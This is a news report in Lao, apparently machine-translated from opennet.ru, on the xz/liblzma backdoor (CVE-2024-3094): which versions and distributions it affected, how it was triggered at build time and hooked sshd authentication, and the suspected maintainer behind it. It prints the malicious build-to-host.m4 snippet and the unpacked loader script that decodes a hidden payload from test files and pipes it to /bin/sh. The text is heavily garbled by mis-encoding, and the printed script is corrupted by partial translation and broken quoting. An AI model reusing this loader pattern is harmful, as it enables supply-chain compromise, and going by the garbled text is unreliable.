Backdoor เป„เบ”เป‰เบ–เบทเบเบ„เบปเป‰เบ™เบžเบปเบšเบขเบนเปˆเปƒเบ™เบซเป‰เบญเบ‡เบชเบฐเบซเบกเบธเบ” xz/liblzma เบ—เบตเปˆเบญเบฐเบ™เบธเบเบฒเบ”เปƒเบซเป‰เป€เบ‚เบปเป‰เบฒเบœเปˆเบฒเบ™ sshd

เปƒเบ™เบŠเบธเบ” XZ Utils, เป€เบŠเบดเปˆเบ‡เบ›เบฐเบเบญเบšเบกเบตเบซเป‰เบญเบ‡เบชเบฐเบซเบกเบธเบ” liblzma เปเบฅเบฐเบชเบดเปˆเบ‡เบญเปเบฒเบ™เบงเบเบ„เบงเบฒเบกเบชเบฐเบ”เบงเบเบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เป€เบฎเบฑเบ”เบงเบฝเบเบเบฑเบšเบ‚เปเป‰เบกเบนเบ™เบ—เบตเปˆเบ–เบทเบเบšเบตเบšเบญเบฑเบ”เปƒเบ™เบฎเบนเบšเปเบšเบš ".xz", backdoor (CVE-2024-3094) เป„เบ”เป‰เบ–เบทเบเบฅเบฐเบšเบธเบงเปˆเบฒเบญเบฐเบ™เบธเบเบฒเบ”เปƒเบซเป‰เบ‚เบฑเบ”เบ‚เบงเบฒเบ‡เปเบฅเบฐเบ”เบฑเบ”เปเบ›เบ‡เบ‚เปเป‰เบกเบนเบ™เบ—เบตเปˆเบ–เบทเบเบ›เบธเบ‡เปเบ•เปˆเบ‡เป‚เบ”เบเปเบญเบฑเบšเบžเบฅเบดเป€เบ„เบŠเบฑเบ™เบ—เบตเปˆเบเปˆเบฝเบงเบ‚เป‰เบญเบ‡. เบเบฑเบšเบซเป‰เบญเบ‡เบชเบฐเบซเบกเบธเบ” liblzma. เป€เบ›เบปเป‰เบฒเบซเบกเบฒเบเบ•เบปเป‰เบ™เบ•เปเบ‚เบญเบ‡ backdoor เปเบกเปˆเบ™เป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบเบ‚เบญเบ‡ OpenSSH, เป€เบŠเบดเปˆเบ‡เปƒเบ™เบšเบฒเบ‡เบเบฒเบ™เปเบˆเบเบขเบฒเบเบ–เบทเบเบกเบฑเบ”เป„เบงเป‰เบเบฑเบšเบซเป‰เบญเบ‡เบชเบฐเบซเบกเบธเบ” libsystemd, เป€เบŠเบดเปˆเบ‡เปƒเบ™เบ—เบฒเบ‡เบเบฑเบšเบเบฑเบ™เปเบกเปˆเบ™เปƒเบŠเป‰ liblzma. เบเบฒเบ™เป€เบŠเบทเปˆเบญเบกเป‚เบเบ‡ sshd เบเบฑเบšเบซเป‰เบญเบ‡เบชเบฐเบซเบกเบธเบ”เบ—เบตเปˆเบกเบตเบ„เบงเบฒเบกเบชเปˆเบฝเบ‡เป€เบฎเบฑเบ”เปƒเบซเป‰เบœเบนเป‰เป‚เบˆเบกเบ•เบตเบชเบฒเบกเบฒเบ”เป€เบ‚เบปเป‰เบฒเป€เบ–เบดเบ‡เป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบ SSH เป‚เบ”เบเบšเปเปˆเบกเบตเบเบฒเบ™เบžเบดเบชเบนเบ”เบขเบทเบ™เบขเบฑเบ™.

Backdoor เปเบกเปˆเบ™เบกเบตเบขเบนเปˆเปƒเบ™เบเบฒเบ™เบ›เปˆเบญเบเบขเปˆเบฒเบ‡เป€เบ›เบฑเบ™เบ—เบฒเบ‡เบเบฒเบ™ 5.6.0 เปเบฅเบฐ 5.6.1, เบˆเบฑเบ”เบžเบตเบกเบกเบฒเปƒเบ™เบงเบฑเบ™เบ—เบต 24 เบเบธเบกเบžเบฒเปเบฅเบฐ 9 เบกเบตเบ™เบฒ, เป€เบŠเบดเปˆเบ‡เบชเบฒเบกเบฒเบ”เป€เบ‚เบปเป‰เบฒเป„เบ›เปƒเบ™เบเบฒเบ™เปเบˆเบเบขเบฒเบเปเบฅเบฐเบšเปˆเบญเบ™เป€เบเบฑเบšเบกเป‰เบฝเบ™เบšเบฒเบ‡เบขเปˆเบฒเบ‡, เบ•เบปเบงเบขเปˆเบฒเบ‡เป€เบŠเบฑเปˆเบ™ Gentoo, Arch Linux, Debian sid / unstable, Fedora Rawhide เปเบฅเบฐ 40-beta, openSUSE factory and tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. เบœเบนเป‰โ€‹เปƒเบŠเป‰โ€‹เบ—เบฑเบ‡โ€‹เบซเบกเบปเบ”โ€‹เบ‚เบญเบ‡ xz 5.6.0 เปเบฅเบฐ 5.6.1 เบ›เปˆเบญเบโ€‹เปเบกเปˆเบ™โ€‹เปเบ™เบฐโ€‹เบ™เปเบฒโ€‹เปƒเบซเป‰โ€‹เป€เบฅเบฑเปˆเบ‡โ€‹เบ”เปˆเบงเบ™โ€‹เบเบฑเบšโ€‹เบ„เบทเบ™โ€‹เป„เบ›โ€‹เบšเปˆเบญเบ™โ€‹เป€เบงเบตโ€‹เบŠเบฑเบ™ 5.4.6.

เปƒเบ™เบšเบฑเบ™เบ”เบฒเบ›เบฑเบ”เปƒเบˆเบซเบผเบธเบ”เบœเปˆเบญเบ™เบšเบฑเบ™เบซเบฒ, เบกเบฑเบ™เบชเบฒเบกเบฒเบ”เบชเบฑเบ‡เป€เบเบ”เป€เบซเบฑเบ™เป„เบ”เป‰เบงเปˆเบฒเบชเบฐเบšเบฑเบšเบ‚เบญเบ‡ liblzma เบ—เบตเปˆเบกเบต backdoor เบšเปเปˆเป„เบ”เป‰เบˆเบฑเบ”เบเบฒเบ™เปƒเบซเป‰เป€เบ›เบฑเบ™เบชเปˆเบงเบ™เบซเบ™เบถเปˆเบ‡เบ‚เบญเบ‡เบเบฒเบ™เบ›เปˆเบญเบเบ—เบตเปˆเบซเบกเบฑเป‰เบ™เบ„เบปเบ‡เบ‚เบญเบ‡เบเบฒเบ™เปเบˆเบเบขเบฒเบเบ‚เบฐเบซเบ™เบฒเบ”เปƒเบซเบเปˆ, เปเบ•เปˆเป„เบ”เป‰เบฎเบฑเบšเบœเบปเบ™เบเบฐเบ—เบปเบš openSUSE Tumbleweed เปเบฅเบฐ Fedora 40-beta. Arch Linux เปเบฅเบฐ Gentoo เปƒเบŠเป‰ zx เบฅเบธเป‰เบ™เบ—เบตเปˆเบกเบตเบ„เบงเบฒเบกเบชเปˆเบฝเบ‡, เปเบ•เปˆเบšเปเปˆเบญเปˆเบญเบ™เป„เบซเบงเบ•เปเปˆเบเบฑเบšเบเบฒเบ™เป‚เบˆเบกเบ•เบตเป€เบžเบฒเบฐเบงเปˆเบฒเบžเบงเบเป€เบ‚เบปเบฒเบšเปเปˆเป„เบ”เป‰เบ™เปเบฒเปƒเบŠเป‰ patch systemd-notify เบเบฑเบš openssh, เป€เบŠเบดเปˆเบ‡เป€เบฎเบฑเบ”เปƒเบซเป‰ sshd เป€เบŠเบทเปˆเบญเบกเป‚เบเบ‡เบเบฑเบš liblzma. backdoor เบกเบตเบœเบปเบ™เบเบฐเบ—เบปเบšเบžเบฝเบ‡เปเบ•เปˆเบฅเบฐเบšเบปเบš x86_64 เป‚เบ”เบเบญเบตเบ‡เปƒเบชเปˆ Linux kernel เปเบฅเบฐเบซเป‰เบญเบ‡เบชเบฐเบซเบกเบธเบ” Glibc C.

เบฅเบฐเบซเบฑเบ”เบเบฒเบ™เป€เบ›เบตเบ”เปƒเบŠเป‰ backdoor เป„เบ”เป‰เบ–เบทเบเป€เบŠเบทเปˆเบญเบ‡เป„เบงเป‰เปƒเบ™ m4 macro เบˆเบฒเบเป„เบŸเบฅเปŒ build-to-host.m4 เบ—เบตเปˆเปƒเบŠเป‰เป‚เบ”เบเบŠเบธเบ”เป€เบ„เบทเปˆเบญเบ‡เบกเบทเบญเบฑเบ”เบ•เบฐเป‚เบ™เบกเบฑเบ”เปƒเบ™เป€เบงเบฅเบฒเบชเป‰เบฒเบ‡. เปƒเบ™โ€‹เบฅเบฐโ€‹เบซเบงเปˆเบฒเบ‡โ€‹เบเบฒเบ™โ€‹เบ›เบฐโ€‹เบเบญเบšโ€‹, เปƒเบ™โ€‹เบฅเบฐโ€‹เบซเบงเปˆเบฒเบ‡โ€‹เบเบฒเบ™โ€‹เบ›เบฐโ€‹เบ•เบดโ€‹เบšเบฑเบ”โ€‹เบ‚เบญเบ‡โ€‹เบเบฒเบ™โ€‹เบ›เบฐโ€‹เบ•เบดโ€‹เบšเบฑเบ”โ€‹เบเบฒเบ™ obfuscated intricate เบญเบตเบ‡โ€‹เบ•เบฒเบกโ€‹เบเบฒเบ™โ€‹เป€เบเบฑเบšโ€‹เบฎเบฑเบโ€‹เบชเบฒ (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), เปƒเบŠเป‰โ€‹เป€เบžเบทเปˆเบญโ€‹เบ—เบปเบ”โ€‹เบชเบญเบšโ€‹เบ„เบงเบฒเบกโ€‹เบ–เบทเบโ€‹เบ•เป‰เบญเบ‡โ€‹เบ‚เบญเบ‡โ€‹เบเบฒเบ™โ€‹เบ”เปเบฒโ€‹เป€เบ™เบตเบ™โ€‹เบ‡เบฒเบ™, เป„เบŸเบฅโ€‹เปŒโ€‹เบงเบฑเบ”โ€‹เบ–เบธโ€‹เบ—เบตเปˆโ€‹เบกเบตโ€‹เบฅเบฐโ€‹เบซเบฑเบ”โ€‹เบ—เบตเปˆโ€‹เบฎเป‰เบฒเบโ€‹เปเบฎเบ‡โ€‹เป„เบ”เป‰โ€‹เบ–เบทเบโ€‹เบชเป‰เบฒเบ‡โ€‹เบ‚เบถเป‰เบ™, เป€เบŠเบดเปˆเบ‡โ€‹เบฅเบงเบกโ€‹เบขเบนเปˆโ€‹เปƒเบ™ เบซเปเบชเบฐเบซเบกเบธเบ” liblzma เปเบฅเบฐเบ›เปˆเบฝเบ™เป€เบซเบ”เบœเบปเบ™เบ‚เบญเบ‡เบเบฒเบ™เบ”เปเบฒเป€เบ™เบตเบ™เบ‡เบฒเบ™เบšเบฒเบ‡เบซเบ™เป‰เบฒเบ—เบตเปˆเบ‚เบญเบ‡เบกเบฑเบ™. เบกเบฐเบซเบฒเบžเบฒเบ m4 เบ—เบตเปˆเป€เบ›เบตเบ”เปƒเบŠเป‰ backdoor เปเบกเปˆเบ™เบฅเบงเบกเบขเบนเปˆเปƒเบ™ tarballs เบเบฒเบ™เบ›เปˆเบญเบ, เปเบ•เปˆเบšเปเปˆเป„เบ”เป‰เบขเบนเปˆเปƒเบ™เบšเปˆเบญเบ™เป€เบเบฑเบšเบกเป‰เบฝเบ™ Git. เปƒเบ™เบ‚เบฐเบ™เบฐเบ”เบฝเบงเบเบฑเบ™, เบ„เบฑเบ‡เป€เบเบฑเบšเบ‚เปเป‰เบกเบนเบ™เบเบฒเบ™เบ—เบปเบ”เบชเบญเบšเบ—เบตเปˆเป€เบ›เบฑเบ™เบญเบฑเบ™เบ•เบฐเบฅเบฒเบเบกเบตเบขเบนเปˆเปƒเบ™เบšเปˆเบญเบ™เป€เบเบฑเบšเบกเป‰เบฝเบ™, i.e. เบšเบธเบเบ„เบปเบ™เบ—เบตเปˆเบ›เบฐเบ•เบดเบšเบฑเบ” backdoor เบกเบตเบเบฒเบ™เป€เบ‚เบปเป‰เบฒเป€เบ–เบดเบ‡เบ—เบฑเบ‡ repository เปเบฅเบฐเบ‚เบฐเบšเบงเบ™เบเบฒเบ™เบœเบฐเบฅเบดเบ”เบเบฒเบ™เบ›เปˆเบญเบ.

เป€เบกเบทเปˆเบญเปƒเบŠเป‰ liblzma เปƒเบ™เปเบญเบฑเบšเบžเบฅเบดเป€เบ„เบŠเบฑเบ™, เบเบฒเบ™เบ›เปˆเบฝเบ™เปเบ›เบ‡เบ—เบตเปˆเป€เบ›เบฑเบ™เบญเบฑเบ™เบ•เบฐเบฅเบฒเบเบชเบฒเบกเบฒเบ”เบ–เบทเบเบ™เปเบฒเปƒเบŠเป‰เป€เบžเบทเปˆเบญเบ‚เบฑเบ”เบ‚เบงเบฒเบ‡เบซเบผเบทเปเบเป‰เป„เบ‚เบ‚เปเป‰เบกเบนเบ™, เบซเบผเบทเบœเบปเบ™เบเบฐเบ—เบปเบšเบ•เปเปˆเบเบฒเบ™เป€เบฎเบฑเบ”เบงเบฝเบเบ‚เบญเบ‡ sshd. เป‚เบ”เบเบชเบฐเป€เบžเบฒเบฐ, เบฅเบฐเบซเบฑเบ”เบ—เบตเปˆเป€เบ›เบฑเบ™เบญเบฑเบ™เบ•เบฐเบฅเบฒเบเป„เบ”เป‰เบซเบผเบญเบเบฅเบงเบ‡เบŸเบฑเบ‡เบŠเบฑเบ™ RSA_public_decrypt เป€เบžเบทเปˆเบญเบ‚เป‰เบฒเบกเบ‚เบฑเป‰เบ™เบ•เบญเบ™เบเบฒเบ™เบเบงเบ”เบชเบญเบš sshd. Backdoor เบฅเบงเบกเป€เบ–เบดเบ‡เบเบฒเบ™เบ›เบปเบเบ›เป‰เบญเบ‡เบˆเบฒเบเบเบฒเบ™เบเบงเบ”เบชเบญเบš เปเบฅเบฐเบšเปเปˆเป„เบ”เป‰เบชเบฐเปเบ”เบ‡เบ•เบปเบงเบกเบฑเบ™เป€เบญเบ‡เป€เบกเบทเปˆเบญเบ•เบปเบงเปเบ›เบชเบฐเบžเบฒเบšเปเบงเบ”เบฅเป‰เบญเบก LANG เปเบฅเบฐ TERM เป„เบ”เป‰เบ–เบทเบเบ•เบฑเป‰เบ‡ (i.e., เป€เบกเบทเปˆเบญเปเบฅเปˆเบ™เบ‚เบฐเบšเบงเบ™เบเบฒเบ™เบขเบนเปˆเปƒเบ™ terminal) เปเบฅเบฐเบ•เบปเบงเปเบ›เบชเบฐเบžเบฒเบšเปเบงเบ”เบฅเป‰เบญเบก LD_DEBUG เปเบฅเบฐ LD_PROFILE เบšเปเปˆเป„เบ”เป‰เบ–เบทเบเบ•เบฑเป‰เบ‡, เปเบฅเบฐเบเบฑเบ‡เบ–เบทเบเป€เบ›เบตเบ”เปƒเบŠเป‰เบžเบฝเบ‡เปเบ•เปˆเป€เบกเบทเปˆเบญเบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™. /usr/sbin/sshd เป„เบŸเบฅเปŒเบ—เบตเปˆเบชเบฒเบกเบฒเบ”เบ›เบฐเบ•เบดเบšเบฑเบ”เป„เบ”เป‰ . backdoor เบเบฑเบ‡เบกเบตเบงเบดเบ—เบตเบเบฒเบ™เบเบงเบ”เบžเบปเบšเบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ”เปƒเบ™เบชเบฐเบžเบฒเบšเปเบงเบ”เบฅเป‰เบญเบกเบ”เบตเบšเบฑเบ.

เป‚เบ”เบเบชเบฐเป€เบžเบฒเบฐ, เป„เบŸเบฅเปŒ m4/build-to-host.m4 เปƒเบŠเป‰ gl_am_configmake=`grep -aErls โ€œ#{4}[[:alnum:]]{5}#{4}$โ€ $srcdir/ 2>/dev / null` โ€ฆ gl_[$1]_config='sed \ยปr\n\ยป $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

เปƒเบ™เบเบฒเบ™เบเปเปˆเบชเป‰เบฒเบ‡เบ„เบฑเป‰เบ‡เบ—เปเบฒเบญเบดเบ”, เบเบฒเบ™เบ”เปเบฒเป€เบ™เบตเบ™เบ‡เบฒเบ™ grep เป„เบ”เป‰เบžเบปเบšเป€เบซเบฑเบ™เป„เบŸเบฅเปŒ tests/files/bad-3-corrupt_lzma2.xz, เป€เบŠเบดเปˆเบ‡, เป€เบกเบทเปˆเบญ unpacked, เบชเป‰เบฒเบ‡ script: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && เบญเบญเบ 0 [ ! $(uname) = "Linux" ] && เบญเบญเบ 0 [ ! $(uname) = "Linux" ] && เบญเบญเบ 0 [ ! $(uname) = "Linux" ] && เบญเบญเบ 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` เบ–เป‰เบฒเบ—เบปเบ”เบชเบญเบš -f ../../config.status;เบซเบผเบฑเบ‡เบˆเบฒเบเบ™เบฑเป‰เบ™ eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdirยป fi export i=ยป((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw โ€”lzma1 -dc|/bin/sh ####เป‚เบฅเบ####

เบงเบดเบ—เบตเบ—เบตเปˆเบœเบนเป‰เป‚เบˆเบกเบ•เบตเบˆเบฑเบ”เบเบฒเบ™เป€เบžเบทเปˆเบญเป€เบ‚เบปเป‰เบฒเป€เบ–เบดเบ‡เป‚เบ„เบ‡เบชเป‰เบฒเบ‡เบžเบทเป‰เบ™เบ–เบฒเบ™เบ‚เบญเบ‡เป‚เบ„เบ‡เบเบฒเบ™ xz เบเบฑเบ‡เบšเปเปˆเบ—เบฑเบ™เบกเบตเบ„เบงเบฒเบกเบŠเบฑเบ”เป€เบˆเบ™เบขเปˆเบฒเบ‡เป€เบ•เบฑเบกเบ—เบตเปˆ. เบกเบฑเบ™เบเบฑเบ‡เบšเปเปˆเป€เบ›เบฑเบ™เบ—เบตเปˆเบˆเบฐเปเบˆเป‰เบ‡เป€เบ—เบทเปˆเบญเบงเปˆเบฒเบกเบตเบœเบนเป‰เปƒเบŠเป‰ เปเบฅเบฐเป‚เบ„เบ‡เบเบฒเบ™เบˆเปเบฒเบ™เบงเบ™เป€เบ—เบปเปˆเบฒเปƒเบ”เบ—เบตเปˆเบ–เบทเบเบšเบธเบเบฅเบธเบเป€เบ›เบฑเบ™เบœเบปเบ™เบกเบฒเบˆเบฒเบ backdoor. เบœเบนเป‰เบ‚เบฝเบ™เบ—เบตเปˆเบ–เบทเบเบเปˆเบฒเบงเบซเบฒเบ‚เบญเบ‡ backdoor (JiaT75 - Jia Tan), เบœเบนเป‰เบ—เบตเปˆเบ‚เบฝเบ™เปเบŸเป‰เบกเบ—เบตเปˆเบกเบตเบฅเบฐเบซเบฑเบ”เบ—เบตเปˆเป€เบ›เบฑเบ™เบญเบฑเบ™เบ•เบฐเบฅเบฒเบเบขเบนเปˆเปƒเบ™เบšเปˆเบญเบ™เป€เบเบฑเบšเบกเป‰เบฝเบ™, เป„เบ”เป‰เบžเบปเบงเบžเบฑเบ™เบเบฑเบšเบœเบนเป‰เบžเบฑเบ”เบ—เบฐเบ™เบฒ Fedora เปเบฅเบฐเบชเบปเปˆเบ‡เบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เปเบ”เบถเบ‡เป„เบ›เบซเบฒ Debian เบ—เบตเปˆเบเปˆเบฝเบงเบ‚เป‰เบญเบ‡เบเบฑเบšเบเบฒเบ™เบซเบฑเบ™เบ›เปˆเบฝเบ™เบเบฒเบ™เปเบˆเบเบขเบฒเบเป„เบ›เบซเบฒเบชเบฒเบ‚เบฒ xz 5.6.0, เปเบฅเบฐเบšเปเปˆเป„เบ”เป‰ เบเบฐเบ•เบธเป‰เบ™เบ„เบงเบฒเบกเบชเบปเบ‡เปƒเบช, เบ™เบฑเบšเบ•เบฑเป‰เบ‡เปเบ•เปˆเบฅเบฒเบงเป„เบ”เป‰เป€เบ‚เบปเป‰เบฒเบฎเปˆเบงเบกเปƒเบ™ xz เป„เบ”เป‰เบžเบฑเบ”เบ—เบฐเบ™เบฒเปƒเบ™เบชเบญเบ‡เบ›เบตเบ—เบตเปˆเบœเปˆเบฒเบ™เบกเบฒเปเบฅเบฐเป€เบ›เบฑเบ™เบœเบนเป‰เบžเบฑเบ”เบ—เบฐเบ™เบฒเบ—เบตเบชเบญเบ‡เปƒเบ™เปเบ‡เปˆเบ‚เบญเบ‡เบˆเปเบฒเบ™เบงเบ™เบเบฒเบ™เบ›เปˆเบฝเบ™เปเบ›เบ‡. เบ™เบญเบเป€เบซเบ™เบทเบญเป„เบ›เบˆเบฒเบเป‚เบ„เบ‡เบเบฒเบ™ xz, เบœเบนเป‰เบ‚เบฝเบ™เบ—เบตเปˆเบ–เบทเบเบเปˆเบฒเบงเบซเบฒเบ‚เบญเบ‡ backdoor เบเบฑเบ‡เป„เบ”เป‰เป€เบ‚เบปเป‰เบฒเบฎเปˆเบงเบกเปƒเบ™เบเบฒเบ™เบžเบฑเบ”เบ—เบฐเบ™เบฒเบŠเบธเบ” xz-java เปเบฅเบฐ xz-embedded. เบเบดเปˆเบ‡เป„เบ›เบเบงเปˆเบฒเบ™เบฑเป‰เบ™, Jia Tan เบชเบญเบ‡เบชเบฒเบกเบกเบทเป‰เบเปˆเบญเบ™เบซเบ™เป‰เบฒเบ™เบตเป‰เป„เบ”เป‰เบ–เบทเบเบฅเบงเบกเป€เบ‚เบปเป‰เบฒเปƒเบ™เบˆเปเบฒเบ™เบงเบ™เบœเบนเป‰เบฎเบฑเบเบชเบฒเป‚เบ„เบ‡เบเบฒเบ™ XZ Embedded เบ—เบตเปˆเปƒเบŠเป‰เปƒเบ™ Linux kernel.

เบเบฒเบ™เบ›เปˆเบฝเบ™เปเบ›เบ‡เบ—เบตเปˆเป€เบ›เบฑเบ™เบญเบฑเบ™เบ•เบฐเบฅเบฒเบเป„เบ”เป‰เบ–เบทเบเบ„เบปเป‰เบ™เบžเบปเบšเบซเบผเบฑเบ‡เบˆเบฒเบเบเบฒเบ™เบงเบดเป€เบ„เบฒเบฐเบเบฒเบ™เบšเปเบฅเบดเป‚เบžเบ CPU เบซเบผเบฒเบเป€เบเบตเบ™เป„เบ›เปเบฅเบฐเบ„เบงเบฒเบกเบœเบดเบ”เบžเบฒเบ”เบ—เบตเปˆเบชเป‰เบฒเบ‡เบ‚เบถเป‰เบ™เป‚เบ”เบ valgrind เป€เบกเบทเปˆเบญเป€เบŠเบทเปˆเบญเบกเบ•เปเปˆเบœเปˆเบฒเบ™ ssh เบเบฑเบšเบฅเบฐเบšเบปเบš Debian sid-based. เป€เบ›เบฑเบ™เบ—เบตเปˆเบชเบฑเบ‡เป€เบเบ”เบงเปˆเบฒเบเบฒเบ™เบ›เปˆเบญเบ xz 5.6.1 เบฅเบงเบกเบกเบตเบเบฒเบ™เบ›เปˆเบฝเบ™เปเบ›เบ‡เบ—เบตเปˆเบเบฐเบเบฝเบกเป‚เบ”เบเบœเบนเป‰เบ‚เบฝเบ™เบ—เบตเปˆเบ–เบทเบเบเปˆเบฒเบงเบซเบฒเบ‚เบญเบ‡ backdoor เปƒเบ™เบเบฒเบ™เบ•เบญเบšเบชเบฐเบซเบ™เบญเบ‡เบ•เปเปˆเบเบฒเบ™เบฎเป‰เบญเบ‡เบ—เบธเบเบเปˆเบฝเบงเบเบฑเบšเบเบฒเบ™เบŠเป‰เบฒเบฅเบปเบ‡เบ‚เบญเบ‡ sshd เปเบฅเบฐเบญเบธเบ›เบฐเบ•เบดเป€เบซเบ”เบ—เบตเปˆเป€เบเบตเบ”เบ‚เบถเป‰เบ™เบซเบผเบฑเบ‡เบˆเบฒเบเบเบฒเบ™เบญเบฑเบšเป€เบเบฃเบ”เป€เบ›เบฑเบ™เป€เบงเบตเบŠเบฑเบ™ zx 5.6.0 เบเบฑเบš backdoor. เบ™เบญเบเบˆเบฒเบเบ™เบฑเป‰เบ™, เปƒเบ™เบ›เบตเบเบฒเบเบ™เบตเป‰ Jia Tan เป„เบ”เป‰เป€เบฎเบฑเบ”เบเบฒเบ™เบ›เปˆเบฝเบ™เปเบ›เบ‡เบ—เบตเปˆเบšเปเปˆเป€เบ‚เบปเป‰เบฒเบเบฑเบ™เบเบฑเบšเบฎเบนเบšเปเบšเบšเบเบฒเบ™เบเบงเบ”เบเบฒ "-fsanitize=address", เป€เบŠเบดเปˆเบ‡เป€เบฎเบฑเบ”เปƒเบซเป‰เบกเบฑเบ™เบ–เบทเบเบ›เบดเบ”เปƒเบŠเป‰เบ‡เบฒเบ™เปƒเบ™เบฅเบฐเบซเบงเปˆเบฒเบ‡เบเบฒเบ™เบ—เบปเบ”เบชเบญเบš fuzz.

เปเบซเบผเปˆเบ‡เบ‚เปเป‰เบกเบนเบ™: opennet.ru

เป€เบžเบตเปˆเบกเบ„เบงเบฒเบกเบ„เบดเบ”เป€เบซเบฑเบ™